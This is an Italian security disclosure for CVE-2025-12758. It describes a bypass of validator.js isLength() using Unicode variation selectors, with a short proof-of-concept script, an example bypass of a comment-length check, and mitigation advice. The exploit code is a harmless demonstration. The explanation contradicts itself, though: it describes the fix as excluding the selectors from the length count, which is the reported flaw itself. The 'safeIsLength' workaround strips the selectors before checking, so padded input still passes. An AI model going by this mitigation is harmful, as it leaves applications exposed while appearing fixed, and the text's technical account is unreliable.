
Divulgazione dettagliata di CVE-2025-12758 con PoC che dimostra il bypass della variazione Unicode selettore in validator.js isLength(), inclusa l'analisi della causa principale, gli scenari di sfruttamento e le misure di mitigazione.
ID CVE: CVE-2025-12758
Punteggio CVSS: 8.7 (ALTO)
Gravità: ALTA
CWE: CWE-792 (Filtraggio incompleto di una o più istanze di elementi speciali)
Pubblicato: 26 novembre 2025
Divulgato: 19 ottobre 2025
Questa vulnerabilità interessa le versioni < 13.15.22 del pacchetto npm validator. La funzione isLength() non tiene conto dei selettori di variazione Unicode (\uFE0F, \uFE0E) quando calcola la lunghezza delle stringhe, portando a una convalida dell'input non corretta.
Un'applicazione che utilizza isLength() per la convalida dell'input può accettare stringhe significativamente più lunghe del previsto, con possibili conseguenze come:
La funzione isLength() non filtra correttamente i selettori di variazione Unicode quando calcola la lunghezza delle stringhe. Questi caratteri speciali (segni combinatori) non dovrebbero contribuire alla lunghezza visiva di una stringa, ma vengono conteggiati nella proprietà String.length di JavaScript.
npm install [email protected]
node poc.js
La POC dimostra la vulnerabilità testando la funzione isLength():
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
La terza riga di output dimostra la vulnerabilità: una stringa con lunghezza effettiva 8 supera un controllo di validazione per una lunghezza massima di 4.
Un'applicazione potrebbe implementare la convalida dei commenti degli utenti:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
La versione corretta gestisce correttamente i selettori di variazione Unicode escludendoli dal calcolo della lunghezza.
Se non puoi aggiornare immediatamente, implementa una validazione personalizzata della lunghezza:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Verifica se la tua applicazione è vulnerabile:
npm audit --audit-level=high
Cerca il pacchetto validator con versione < 13.15.22.
Vulnerabilità scoperta da: Karol Wrótniak
ISC